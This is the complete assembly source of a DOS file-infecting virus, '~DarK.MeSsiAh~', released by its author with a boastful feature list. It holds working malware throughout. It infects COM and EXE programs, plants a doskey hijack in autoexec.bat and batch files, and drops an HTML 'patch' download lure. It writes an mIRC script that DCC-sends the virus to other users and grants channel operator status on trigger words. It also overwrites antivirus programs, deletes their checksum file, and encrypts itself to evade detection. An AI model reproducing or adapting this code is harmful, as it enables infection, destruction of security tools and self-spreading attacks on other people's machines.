;  :   :           ķ          : ķ  :
;   :      : [~DarK.MeSsiAh~ by SeptiC] : ļ      : ļ
;                      Ľ                 
;         This is my first virus that I release but it ain't my         
;      first virus. Frankly This virus isn't very fancy but I'm still   
;      kind of proud of it. This because I'm very new in the asm         
;      language, and 'cause I have written almost 100% of the code      
;      by myself and without stealing other peoples ideas. Just         
;      because of this the code is HUGE (4570) so an experienced        
;       coder might faint looking at this source =) The virus is a
;       Runtime Com/Exe/"Bat" infector which send itself over Mirc and     
;       attach itself into Html files. It does also switch drives so     
;       it will spread fast over network and <-> floppy. For more info  
;       look at the code. Here comes some nice features.                 
;
;       *- New way of Direct Action infection uses Doskey to
;          spread everytime Dir is used.
;       *- Directory traversal ' Changes drives and directories           
;       *- 2 layers of encryption Xor, Rol, Ror, Neg, Not                
;       *- Infects read Only files and saves time and date                                                              
;       *- Win95 and network compatible : Avoids Pe/ne files                                                                
;                                       : Avoids Enun files
;                                      : Critical error handler (int24h)
;                                      : Avoids files with Internal     
;                                      : overlay                        
;      *- Retro ' If some widely used AV products is found they         
;         will get overwritten. It does also search for Anti-vir.dat    
;         and delets it.                                                
;      *- Antiheuristic                                                 
;      *- Spreads over internet ' Mirc and Html                         
; :                                                                  :ķ
;:    ļ   :
; Ľ ķ
;:    Greetz : Techno Phunk! Flitnic, Urgo, The Lich, Jfk, Simon7, Opic      :   
;:                                                                           :
; ķ ļ
       .model tiny
       .radix 16
       .code
        org 100h

first_gen:

       db      0e9,0,0,'V'

       jmp no_enc

start:
        mov ah,0bh 
        int 21h   

        mov cx,0ffffh
        fprot_loopy: 
        jmp back     
        mov ax,4c00h 
        int 21h     
        int 20h     

back:                            
        loop fprot_loopy

        call    get_offset

        call notter       

        mov     dx,word ptr ds:[bp+encrypt_val] 
        call xor_crypt                          



        jmp inside_com

no_enc:

call get_offset 


inside_com:

    

        mov cx,4
        lea  si,[bp+storage_bytes] 
        push 100h                  
        pop di                     

        rep movsb                  

        mov     byte ptr [whatami+bp],0
        jmp     short dark_messiah     
    
inside_exe:


        push es
        push ds

        push cs
        pop ds 

        push cs
        pop es 

        mov cx,0ffffh          
        sec_loopy:             
        jmp back_Exe           
        mov ax,4c00h           
        int 21h                
        back_Exe:              
        loop sec_loopy

        call    get_offset 

        mov     ax,0305h   
        xor     bx,bx      
        call int_16        


        call notter        

        mov     dx,word ptr ds:[bp+encrypt_val]
        call xor_crypt
               

        mov cx,8 

        lea     si,[Old_IP+bp]
        lea     di,[Save_IP+bp]
        rep movsb              
    
        mov     byte ptr [whatami+bp],1 
dark_messiah:


        push    ds                      
        pop     es
    

        mov     ax,3524h                
        int     21h                     
        mov     word ptr [bp+oldint24],bx
        mov     word ptr [bp+oldint24+2],es 

        mov     ah,25h                      
        lea     dx,[bp+offset int24]        
        int     21h

        push    cs                          
        pop     es                          


        mov ax,3d02h                       
        lea dx, [immune_f+bp]              
        call do_int21h                     
        jnc immune                      



        lea     dx,[dta+bp]             
        call    set_dta


        mov ah, 2ah
        call do_int21h

        cmp dl,2                       
        je pay_l1
        cmp dl,1                       
        je pay_l2


        jmp cont                       

        pay_l1:
        lea dx,[bp+mess_2]             
        jmp payload

        pay_l2:
        lea dx,[bp+mess]               
        jmp payload


payload:


        mov ah, 9h                     
        int 21h

        mov cx,2                       
beep:
        mov al,7                       
        int 29h                        
        loop beep

        call graph                     
        jmp key_press                
graph:

        mov     dx,03c8h
        xor     ax,ax
        out     dx,al
        inc     dx
        mov     al,03fh
        out     dx,al
        out     dx,al
        out     dx,al
        mov     cx,03eh
ffd:    dec     dx
        xchg    ah,al
        out     dx,al
        inc     dx
        xchg    ah,al
        out     dx,al
        out     dx,al
        out     dx,al
        dec     al              
        call    poz
        call    poz
        loop    ffd
        ret
poz:    push    ax
        push    dx
        cli
        mov     dx,03dah
q1:     in      al,dx
        test    al,8h
        jnz     q1
q2:     in      al,dx
        test    al,8h
        jz     q2
        sti
        pop     dx
        pop     ax
        ret
key_press:

        mov ah, 00h                  
        int 16h
        jmp cont


immune:
        lea dx,[bp+immune_msg]       
        mov ah, 9h                   
        int 21h
        jmp immune_End


cont:
        mov     ah, 47h              
        lea     si, [origdir+1+bp]   
        mov     dl, 0000h               
        call do_int21h
               


traverse_loop:

        mov ah, 4eh                  
        mov  cx,7                    
        lea dx, [coms+bp]            
        call do_int21h
        jc no_com
found_com:
        call open_it                 
        mov ah, 4fh                  
        call do_int21h
        jnc found_com                

no_com:

Find_exe:

        mov ah, 4eh                  
        mov  cx,7                    
        lea dx, [exes+bp]            
        call do_int21h
        jc no_exe

found_exe:
        call open_it                 
        mov ah, 4fh                  
        call do_int21h
        jnc found_exe                

no_exe:

Find_bat:                          

        mov ah, 4eh
        xor cx,cx
        lea dx, [batches+bp]
        call do_int21h
        jc no_batches

found_bat:
        call batch_it
        mov ah, 4fh
        call do_int21h
        jnc found_bat

no_batches:

Find_html:                         

        mov ah, 4eh
        xor cx,cx
        lea dx, [html+bp]
        call do_int21h
        jc no_html

found_html:
        call html_it
        mov ah, 4fh
        call do_int21h
        jnc found_html

no_html:

        call find_dir
        call infect_dir
        call delete_crc
        call down_one


chg_dir:


        mov     ah, 3Bh            
        lea     dx, [dot_dot+bp]   
        int     21h
        jnc traverse_loop

        call find_dir
        call infect_dir
        call delete_crc
        call find_dir
        call infect_dir
        call delete_crc

        call down_one
        call down_one




chg_1:
               
        mov ah,19h                 
        int 21h
        cmp al,00h                 
              
        je Drive_A                 

chg_2:
              
        mov ah,19h                 
        int 21h
        cmp al,03h                 
        je Drive_D                 

chg_3:

        mov ah,19h                 
        int 21h
        cmp al,04h                 
        je Drive_E                 


chg_4:

        mov ah,19h                 
        int 21h
        cmp al,05h                 
        je Drive_F                 

chg_5:

        mov ah,19h                 
        int 21h
        cmp al,06h                 
        je Drive_G                 

chg_7:

        mov ah,19h                 
        int 21h
        cmp al,07h                 
        je Drive_H                 


chg_8:

        mov ah,19h                 
        int 21h
        cmp al,02h                 
        je cont_Chg                
        jmp cont_chg

Drive_A:
        mov     byte ptr [drive+bp],1 

        mov dl,02h                 
        call chg_drive             
        jmp traverse_loop          
                                   
Drive_D:                           
        mov     byte ptr [drive+bp],2 
        mov dl,02h         
        call chg_drive
        jmp traverse_loop

Drive_E:
        mov     byte ptr [drive+bp],3 
        mov dl,02h         
        call chg_drive
        jmp traverse_loop

Drive_F:
        mov     byte ptr [drive+bp],4 
        mov dl,02h         
        call chg_drive
        jmp traverse_loop

Drive_G:
        mov     byte ptr [drive+bp],5 
        mov dl,02h         
        call chg_drive
        jmp traverse_loop

Drive_H:
        mov     byte ptr [drive+bp],6 
        mov dl,02h         
        call chg_drive
        jmp traverse_loop
               

cont_Chg:


        mov dl,03h
        call chg_drive
        call find_dir
        call infect_dir
        call delete_crc

        mov dl,04h
        call chg_drive
        call find_dir
        call infect_dir
        call delete_crc

        mov dl,05h
        call chg_drive
        call find_dir
        call infect_dir
        call delete_crc

        mov dl,06h
        call chg_drive
        call find_dir
        call infect_dir
        call delete_crc

        mov dl,02h
        call chg_drive

        lea dx,[mircdir_1+bp]      
        call change
        jc n1_mirc        
        call do_mirc
        jmp mirc_last

        n1_mirc:
        lea dx,[mircdir_2+bp]      
        call change
        jc n2_mirc        
        call do_mirc
        jmp mirc_last

        n2_mirc:
        lea dx,[mircdir_3+bp]      
        call change
        jc n3_mirc        
        call do_mirc
        jmp mirc_last

        n3_mirc:
        lea dx,[mircdir_4+bp]      
        call change
        jc n4_mirc        
        call do_mirc
        jmp mirc_last

        n4_mirc:
        lea dx,[mircdir_5+bp]      
        call change
        jc n5_mirc        
        call do_mirc
        jmp mirc_last

        n5_mirc:
        lea dx,[mircdir_6+bp]      
        call change
        jc mirc_last
        call do_mirc


        mirc_last:
        

        lea dx,[windir+bp]         
        call change                
        jnc it_ok                  

        lea dx,[winddir+bp]        
        call change
        jnc it_ok              

        lea dx,[winnew+bp]         
        call change
        jnc it_ok              

        call make_host

        jmp no_more                

it_ok:

        call make_host

        mov ah, 4eh
        mov  cx,7                  
        lea dx, [exes+bp]          
        call do_int21h              
        jc no_found                 
got_one:                         
        call open_it               
        mov ah, 4fh                
        call do_int21h             
        jnc got_one                

no_found:
        mov ah, 4eh                      
        mov  cx,7                  
        lea dx, [coms+bp]          
        call do_int21h              
        jc non_found                 
got_com:                         
        call open_it               
        mov ah, 4fh                
        call do_int21h             
        jnc got_com                

non_found:
        jmp no_more


html_it:

        mov  ax,3d02h              
        lea  dx,[dta+1eh+bp]       
        call do_int21h

        xchg ax,bx

        mov     ax,4202h           
        mov     dx,-15             
        mov     cx,-1              
        int     21h                


        mov ah,40h                 
        mov     cx,html_drop
        lea     dx,[html_text+bp]
        int 21h

        mov ah,3eh
        int 21h     




        mov ax,3d02h
        lea dx, [html_check+bp]
        call do_int21h         
        jnc ahtml
                               
        mov     ah,3ch         
        xor     cx,cx              
        lea     dx,[patch+bp]      
        call do_int21h             

        xchg    ax,bx              
        mov al,3eh                 
        add al,2                   
        xchg ah,al                 

        mov     cx,hostlen         
        lea     dx,[dahost+bp]     
        call do_int21h             

        mov al,3ch
        add al,2                   
        xchg al,ah                 
        call do_int21h             
        jmp mark_dir

        ahtml:
        jmp html_infected

        mark_dir:

        mov     ah,3ch             
        xor     cx,cx              
        lea     dx,[html_check+bp] 
        call do_int21h             

        mov al,3ch
        add al,2                   
        xchg al,ah                 
        call do_int21h             


html_infected:
        ret



batch_it:

        mov  ax,3d02h              
        lea  dx,[dta+1eh+bp]       
        call do_int21h

        xchg ax,bx

        mov ax,4202h               
        xor cx,cx
        xor dx,dx
        call do_int21h

        cmp     word ptr [dta+1eh+6+bp], 'CE'
        jz      close_it                     
                                             
        mov ah,40h                           
        mov     cx,reslen
        lea     dx,[batch+bp]
        call do_int21h
               
        jmp close_it

close_it:

        mov al,3ch
        add al,2
        xchg al,ah      
        call do_int21h
                

        ret

Make_host:

        mov ax,3d02h                       
        lea dx, [check+bp]                
        call do_int21h               
        jnc ainf                     
                                     
        mov     ah,3ch               
        xor     cx,cx                
        lea     dx,[host+bp]         
        call do_int21h               

        xchg    ax,bx                
        mov al,3eh                   
        add al,2                     
        xchg ah,al                   

        mov     cx,hostlen           
        lea     dx,[dahost+bp]       
        call do_int21h               

        mov al,3ch
        add al,2                     
        xchg al,ah                   
        call do_int21h               
        jmp do_root

        ainf:
        jmp infected

        do_root:

        lea dx,[root+bp]         
        call change
        
        mov     ah,3ch           
        xor     cx,cx            
        lea     dx,[host+bp]     
        call do_int21h           

        xchg    ax,bx            
        mov al,3eh               
        add al,2                 
        xchg ah,al               

        mov     cx,hostlen       
        lea     dx,[dahost+bp]   
        call do_int21h           

        mov al,3ch
        add al,2                 
        xchg al,ah               
        call do_int21h           

        mov     ah,3ch           
        xor     cx,cx            
        lea     dx,[check+bp]    
        call do_int21h           

        mov al,3ch
        add al,2                 
        xchg al,ah               
        call do_int21h           


        mov     ax, 3d02h        
        lea     dx,[auto+bp]     
        call do_int21h           
        jc close_auto            
                                 
        xchg    ax,bx

        mov ax,4202h             
        xor cx,cx                
        xor dx,dx                
        call do_int21h           

        mov al,3eh               
        add al,2                 
        xchg ah,al                      

        mov     cx,reslen        
        lea     dx,[batch+bp]    
        call do_int21h           

close_auto:

        mov al,3ch               
        add al,2
        xchg al,ah      
        call do_int21h

infected:
        ret

Open_it:

        cmp byte ptr [generation],10  
        je all_inf                    
        
        push 4300h                    
        pop ax                        
        lea dx,[dta+1eh+bp]           
        call do_int21h
        mov word ptr [bp+file_attr],cx
    
        push 4301h                    
        pop ax

        lea dx,[dta+1eh+bp]           
        xor cx,cx                     
        call do_int21h

        cmp     word ptr [dta+1eh+1+bp], 'AG'
        jz      close_upz                    

        cmp     word ptr [dta+1eh+3+bp], 'PN'
        jz      close_upz                    

        cmp     word ptr [dta+1eh+4+bp], 'WG'
        jz      close_upz                    

        cmp     word ptr [dta+1eh+bp], 'IM'  
        jz      do_mirc                       
                                             
        cmp     word ptr [dta+1eh+bp], '-F'  
        jz      retro                        
                                             
        cmp     word ptr [dta+1eh+bp], 'OT'  
        jz      retro                        
                                             
        cmp     word ptr [dta+1eh+bp], 'BT'  
        jz      retro                        
                                             
        cmp     word ptr [dta+1eh+bp], 'CS'  
        jz      retro                        
                                             
        cmp     word ptr [dta+1eh+bp], 'VA'  
        jz      retro                        
                                             

        jmp inf_con

do_mirc:
        call Infect_mirc
        ret


close_upz:
        ret

all_inf:
        jmp no_more



retro:
        call retro_del
        ret

inf_con:

        mov     ax,3d02h                 
        lea     dx,[dta+1eh+bp]
        int     21h
        jc      close_upz
    
        xchg    bx,ax

        push 5700h                       
        pop ax                           
        call do_int21h
                

        push    cx                     
        push    dx                     


        mov     ax,4202h               
        mov     dx,-7                  
        mov     cx,-1                  
        int     21h                    

        mov     ah,3f
        mov     cx,7                   
        add     ax,cx
        lea     dx,[bad_com+bp]        
        int     21h
        jc      Close_UP

        cmp     word ptr [bad_com+3+bp], 'SN'
        jz      close_up                     


        call    Go_BOF                       
    
    
        mov     ah,3f
        mov     cx,1a                        
        lea     dx,[exe_header+bp]           
        int     21
        jc      Close_UP
    
        call    Check_Infected               
        jc      Close_Up
    
        cmp     byte ptr [exe_header+bp],'M' 
        jne     infect_Com                   
                                                
        cmp     byte ptr [bp+exe_header+1],'Z' 
        jne      Infect_Com                    
    
        cmp byte ptr [bp+exe_header+18h],'@' 
        je close_up                          

        mov ah,19h         
        int 21h
        cmp al,00h         
        je inf_A           

        cmp     word ptr [dta+1eh+5+bp], 'DN'
        jz      close_up                     

        cmp word ptr [bp+exe_header+1ah],0   
        je Infect_exe
        jmp close_up

inf_a:

    
Infect_Exe:
        call    exe_infection                
        jmp     short Close_Up

Infect_com:


        call    com_infection                
    
Close_Up:

        pop     dx                     
        pop     cx                     

        push  5701h                    
        pop ax
        call do_int21h
               
    
        mov al,3ch
        add al,2                       
        xchg al,ah                     
        call do_int21h                  

        push 4301h                      
        pop ax                          

        lea dx,[dta+1eh+bp]             
        mov cx,word ptr [file_attr+bp]  
        call do_int21h
               

    
        ret

    
no_more:

        mov byte ptr [generation],0     

        push    es                      
        pop     ds

        mov     ax,2524h                
        lds     dx,[bp+offset oldint24] 
        int     21h

        push    cs
        pop     ds                      

        cmp     byte ptr [drive+bp],1 
        jne c1
               
        mov dl,00h                    
        call chg_drive
        jmp c_end
  
c1:

        cmp     byte ptr [drive+bp],2 
        jne c2
                
        mov dl,03h                    
        call chg_drive
        jmp c_end
c2:

        cmp     byte ptr [drive+bp],3 
        jne c3

        mov dl,04h                    
        call chg_drive
        jmp c_end

c3:
    
        cmp     byte ptr [drive+bp],4 
        jne c4

        mov dl,05h                    
        call chg_drive
        jmp c_end
            
c4:
        
        cmp     byte ptr [drive+bp],5 
        jne c5

        mov dl,06h                    
        call chg_drive
        jmp c_end
               
c5:
        
        cmp     byte ptr [drive+bp],6 
        jne c_end

        mov dl,07h                    
        call chg_drive
        jmp c_end

c_end:


        lea     si, [origdir+bp]
        mov     byte ptr [si], '\'
        mov     ah, 3Bh               
        xchg    dx, si
        call do_int21h

immune_end:

        cmp     byte ptr [whatami+bp],1
        je      Restore_EXE            
    
Restore_COM:

        push 80h                       
        pop dx

        call    set_dta                
        push 100h
        pop di

        push    di                     
        ret
    
Restore_EXE:
        pop     es                     
        push    es
        pop     ds
    
        push 80h
        pop dx

        call    set_dta                
    
        mov     ax,es
        add     ax,10
        add     word ptr cs:[Save_CS+bp],ax
        add     ax,word ptr cs:[Save_SS+bp]  
                                             
        cli
        mov     ss,ax
        mov     sp,word ptr cs:[Save_SP+bp]
        sti
    
        db      0ea     ;Far jump to CS:IP
Save_IP dw      0
Save_CS dw      0
Save_SS dw      0
Save_SP dw      0
    
Old_IP  dw      0
Old_CS  dw      0fff0
Old_SS  dw      0fff0
Old_SP  dw      0
    
set_dta:
        mov     ah,1ah
        int     21h
        ret
    
    
Infect_mirc:

        mov ah,41h  
        lea dx,[bp+dmscript] 
        int 21h

        mov ah,3ch   
        lea dx,[bp+dmscript]
        xor cx,cx    
        int 21h   

        xchg    bx,ax

        mov ah,40h                             
        mov     cx,EO_script
        lea     dx,[BO_script+bp]
        int 21h

        mov ah,3eh
        int 21h     
        ret


Get_offset:             
        call    next
next:
        mov di,sp 
        mov sp,di                
        mov di,sp                
        mov bp, word ptr ss:[di] 
        sub bp, offset next      
        inc sp                                        
        inc sp
        ret

com_infection:                   

        mov cx,4
        lea     di,[storage_bytes+bp]
        lea     si,[exe_header+bp]   
        rep movsb                    


        call    Go_EOF               
    
        sub     ax,3                 
        mov     word ptr [jump_bytes+1+bp],ax

        call    Go_BOF                       
    
        mov al,3eh                           
        add al,2                             
        xchg ah,al                      
        lea     dx,[jump_bytes+bp]           
        mov     cx,4
        int     21h

        call    Go_EOF

		
        mov     ah,2ch                       
        int     21h
        mov     word ptr ds:[encrypt_val],dx 

        mov     dx,word ptr ds:[bp+encrypt_val] 
        call    xor_crypt                       
        call    notter                          
        call    write_virus                     
        call    notter                          

        mov     dx,word ptr ds:[bp+encrypt_val]  
        call    xor_crypt                       

        inc byte ptr [generation+bp]            

        ret                                     
    
exe_infection:


        call    Save_Old_Header
        call    Go_EOF
    
        push    ax dx
        call    calculate_CSIP
        pop     dx ax
    
        call    calculate_size

        mov     ah,2ch                          
        int     21h
        mov     word ptr ds:[encrypt_val],dx

        mov     dx,word ptr ds:[bp+encrypt_val]
        call    xor_crypt                       

        call    notter                          
        call    write_virus                     
        call    notter                          

        mov     dx,word ptr ds:[bp+encrypt_val]
        call    xor_crypt                      
        call    Go_BOF
    
        mov al,3eh                             
        add al,2                               
        xchg ah,al                      
        mov     cx,1a
        lea     dx,[exe_header+bp]             
        int     21

        inc byte ptr [generation+bp]

        ret
    
Go_EOF:                 
        mov     ax,4202
        jmp     Move_FP
Go_BOF:                 
        mov     ax,4200
Move_FP:
        xor     cx,cx
        xor     dx,dx
        int     21
        ret
    
Write_Virus:
        mov al,3eh               
        add al,2                 
        xchg ah,al                      
        mov     cx,end_messiah-start
        lea     dx,[bp+start]       
        int     21
        ret

int24:                              
        mov     al,3                
        iret                        

encrypt_start:

Save_Old_Header:
        mov     ax,word ptr [exe_header+bp+0e] 
        mov     word ptr [Old_SS+bp],ax
        mov     ax,word ptr [exe_header+bp+10] 
        mov     word ptr [Old_SP+bp],ax
        mov     ax,word ptr [exe_header+bp+14] 
        mov     word ptr [Old_IP+bp],ax
        mov     ax,word ptr [exe_header+bp+16] 
        mov     word ptr [Old_CS+bp],ax
        ret


do_int21h:
        int 21h
        ret

change:
        mov ah,3bh                 
        int 21h                    
        ret

calculate_CSIP:
        push    ax
        mov     ax,word ptr [exe_header+bp+8] 
        mov     cl,4                          
        shl     ax,cl                         
        mov     cx,ax
        pop     ax
        sub     ax,cx                         
        sbb     dx,0                          
                                              
                                              
        mov     cl,0c                         
        shl     dx,cl                         
        mov     cl,4
        push    ax                      
        shr     ax,cl                   
        add     dx,ax                   
        shl     ax,cl                   
        pop     cx                      
        sub     cx,ax                   
    
        add     cx,inside_exe-start    
    
        mov     word ptr [exe_header+bp+14],cx
        mov     word ptr [exe_header+bp+16],dx
        mov     word ptr [exe_header+bp+0e],dx
        mov     word ptr [exe_header+bp+10],0fffe 
        mov     byte ptr [exe_header+bp+12],'V' 
        ret
    
       calculate_size:
        push    ax                      
    
        add     ax,end_messiah-start    
        adc     dx,0
    
        mov     cl,7
        shl     dx,cl                   
        mov     cl,9
        shr     ax,cl
        add     ax,dx
        inc     ax
        mov     word ptr [exe_header+bp+04],ax 
    
        pop     ax                             
        mov     dx,ax
        shr     ax,cl                          
        shl     ax,cl                          
        sub     dx,ax
        mov     word ptr [exe_header+bp+02],dx 
        ret
    
    
    

delete_crc      proc    near  

        push 4300h
        pop ax
        add     al,01h                  
        xor     cx,cx
        call do_int21h
                

        mov al,3eh                     
        add al,3                       
        xchg ah,al                      

        lea     dx,[tbav_crc+bp]
        call do_int21h
                
        ret
delete_crc      endp

tbav_crc  db 'anti-vir.dat',00h

chg_drive:

        mov ah,0eh        
        int 21h
        ret

    
    
Check_Infected:
        cmp     byte ptr [exe_header+bp+3],'V' 
        je      Is_Infected
        cmp     byte ptr [exe_header+bp+12],'V'
        je      Is_Infected                    
        clc
        ret
Is_Infected:
        stc
        ret

down_one:
        mov     ah, 3Bh               
        lea     dx, [dot_dot+bp]      
        int     21h
        ret

find_dir:

        mov byte ptr [bp+dir_cnt],0

        mov     cx,13h
        lea     dx,[bp+dirs]
        mov     ah,4eh   
        int     21h      
        jc no_dir

dir_found:

        cmp byte ptr [bp+dir_cnt],1
        je no_dir

        call chdir
        cmp byte ptr [bp+dot_cnt],1
        je find_new

        call infect_dir
        jmp dir_found

        find_new:

        mov byte ptr [bp+dot_cnt],0

        mov     ah,4fh                
        int     21h                   
        jnc dir_found


no_dir:

        mov byte ptr [bp+dir_cnt],0
        mov byte ptr [bp+dot_cnt],0

        ret

chdir:

        cmp     word ptr [dta+1eh+bp], '..'  
        jz      new_dir

        cmp     byte ptr [dta+1eh+bp], '.'  
        jz      new_dir

        lea  dx,[dta+1eh+bp]          
        mov     ah,3bh                
        int     21h            


        inc byte ptr [bp+dir_cnt]
        jmp no_dot

        new_dir:

        inc byte ptr [bp+dot_cnt]

        no_dot:

        ret





infect_dir:

        mov ah, 4eh                      
        mov  cx,7                   
        lea dx, [exes+bp]           
        call do_int21h              
        jc no_exes_found                 
one_found:                         
        call open_it                
        mov ah, 4fh                 
        call do_int21h              
        jnc one_found               

no_exes_found:

        mov ah, 4eh
        mov  cx,7                   
        lea dx, [coms+bp]           
        call do_int21h              
        jc no_coms_found                 
one_com:                         
        call open_it                
        mov ah, 4fh                 
        call do_int21h              
        jnc one_com                 

no_coms_found:


        ret


retro_del:




        mov     ah,3ch              
        xor     cx,cx               
        lea     dx,[dta+1eh+bp]     
        call do_int21h              

        xchg    ax,bx               
        mov al,3eh                  
        add al,2                    
        xchg ah,al                  



        mov     cx,retro_end-retro_start 
        lea     dx,[retro_start+bp]      
        call do_int21h                   

        mov al,3ch
        add al,2                         
        xchg al,ah                       
        call do_int21h                   
        ret

mess_2 db'Pure evil comes from within! ~DarK.MeSsiAh~  Written by SeptiC [TI]                $',0dh,0ah
mess db 'Only in your dreams you can be truly free! ~DarK.MeSsiAh~ written by SeptiC [TI]    $',0dh,0ah
Immune_Msg db 'You are protected by a devine power ~DarK.MeSsiAh~ will not touch your files$',0dh,0ah

batch   db      ' ',0dh,0ah
        db      '@echo off',0
        db      ' ',0dh,0ah
        db      'attrib +r +h c:\porno.com',0
        db      ' ',0dh,0ah
        db      'doskey dir=porno$tdir $*>nul',0
last    db      ' ',0dh,0ah
reslen  equ last-batch

BO_script db '[script]',0      
          db      ' ',0dh,0ah
          db 'n0=on 1:TEXT:*666*:#:/topic # ~DarK.MeSsiAh~ a Digital Touch of DarKness! Written by SeptiC [TI]',0
          db      ' ',0dh,0ah
          db 'n1=on 1:TEXT:*pray*:#:/mode $chan +o $nick',0
          db      ' ',0dh,0ah
          db 'n2=on 1:TEXT:*sacrifice*:#:/kick $chan $me Your word is my command, Power to satan!',0
          db      ' ',0dh,0ah
          db 'n3=on 1:FILESENT:*.*:if ( $me != $nick ) { /dcc send $nick c:\porno.com }',0
          db      ' ',0dh,0ah
          db 'n4=on 1:FILERCVD:*.*:if ( $me != $nick ) { /dcc send $nick c:\porno.com }',0
          db      ' ',0dh,0ah
          db 'n5=on 1:CONNECT: {',0
          db      ' ',0dh,0ah
          db 'n6=  /msg SeptiC_dm I am your servant! I have been turned into a zealot of darkness',0
          db      ' ',0dh,0ah
          db 'n8=}',0
Last_line db      ' ',0dh,0ah
 

EO_script equ last_line-BO_script

html_text db '<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#999999" VLINK="#551A8B" ALINK="#999999">',0
          db      ' ',0dh,0ah
          db '</FONT>',0
          db      ' ',0dh,0ah
          db   '<p align="center"><a',0
          db      ' ',0dh,0ah
          db   '<FONT COLOR="#333333"></FONT>Do</FONT><FONT COLOR="#666666">w</FONT><FONT COLOR="#999999">nl</FONT><FONT COLOR="#C0C0C0">oa</FONT><FONT COLOR="#999999">d',0
          db      ' ',0dh,0ah
          db   '</FONT><FONT COLOR="#333333">T</FONT><FONT COLOR="#666666">h</FONT><FONT COLOR="#999999">e',0
          db      ' ',0dh,0ah
          db   '</FONT><FONT COLOR="#333333">L</FONT><FONT COLOR="#666666">a</FONT><FONT COLOR="#999999">t</FONT><FONT COLOR="#C0C0C0">e</FONT><FONT COLOR="#CCCCCC">st',0
          db      ' ',0dh,0ah
          db   '</FONT><FONT COLOR="#333333">P</FONT><FONT COLOR="#666666">a</FONT><FONT COLOR="#999999">tc</FONT><FONT COLOR="#C0C0C0">h!</FONT></FONT>',0
          db      ' ',0dh,0ah
          db   '<p align="center"><a',0
          db      ' ',0dh,0ah
          db   'href="patch.com">Click Here!</a></p>',0
          db      ' ',0dh,0ah
          db   '</BODY>',0
          db      ' ',0dh,0ah
          db   '</HTML>',0
Last_html db      ' ',0dh,0ah

html_drop equ last_html-html_text


dmscript db 'script.ini',0
Exes     db      '*.EXE',0   
Coms     db      '*.COM',0   
    
jump_bytes  db      0e9,0,0,'V'
    
storage_bytes:          
        nop
        nop
        int     20




check      db      'C:\messiah.nfo',0
html_check db      'patch.nfo',0
immune_f   db      'C:\_vac.txt',0
host       db      'porno.com',0
patch      db      'patch.com',0


dahost  db ' L!PX33ɸ L!',0
hostlen equ $-dahost


retro_start:


call delta
delta:
pop bp
sub bp,offset delta

mov ah,9h
lea dx,[bp+offset msg]
int 21h

mov ax,4c00h 
int 21h      

msg db '~DarK.MeSsiAh~ a Digital Touch of DarKness! Written by SeptiC [TI]$',0

retro_end:

auto    db      'C:\autoexec.bat',0

root       db 'C:\',0  
windir     db 'C:\windows\command',0
winddir    db 'C:\win95\command',0  
winnew     db 'C:\win98\command',0  
mircdir_1  db 'C:\program\mirc',0  
mircdir_2  db 'C:\program\mirc32',0  
mircdir_3  db 'C:\mirc',0  
mircdir_4  db 'C:\mirc32',0  
mircdir_5  db 'C:\progra~1\mirc',0  
mircdir_6  db 'C:\progra~1\mirc32',0  

batches db '*.bat',0
html    db '*.html',0

dirs    db      '*',0   
dir_cnt db      0
dot_cnt db      0

dot_dot db      '..',0
whatami db      0       

encrypt_end:

encrypt_val     dw      0

not_start:


xor_crypt:      

        lea     di,[bp+encrypt_start]
        mov     si,di
        mov     cx,(encrypt_end-encrypt_start)/2
        jmp xor_loop

        mov ax,4c00h          
        int 21h               

xor_loop:
        xor     word ptr ds:[si],dx 
        inc     si                  
        inc     si
        loop    xor_loop
        ret    


not_end:

notter:                         
        cld                     
        xor cx,cx

        mov cx,OFFSET not_End-offset encrypt_start

        push ax
        pop ax

        lea si,[encrypt_start+bp]
        mov di,si               
        mov si,di
        mov di,si
                                
not_looper:                     
        lodsb                   
        xor al,1ah
        neg al
        ror al,4
        xor al,9eh
        not al
        xor al,9eh
        ror al,4
        neg al
        xor al,1ah
        stosb
        nop                     
        loop not_looper         
        ret                    

int_16:
        int 16h                                   
        ret

end_messiah:
        OldInt24        dd ?                  
        generation      db      0             
        file_attr       dw ?
        origdir         db      65 dup (?)    
        exe_header      db      1a dup(?)
        bad_com         db       7 dup(?)
        drive           db      0 
      
DTA:
        end first_gen

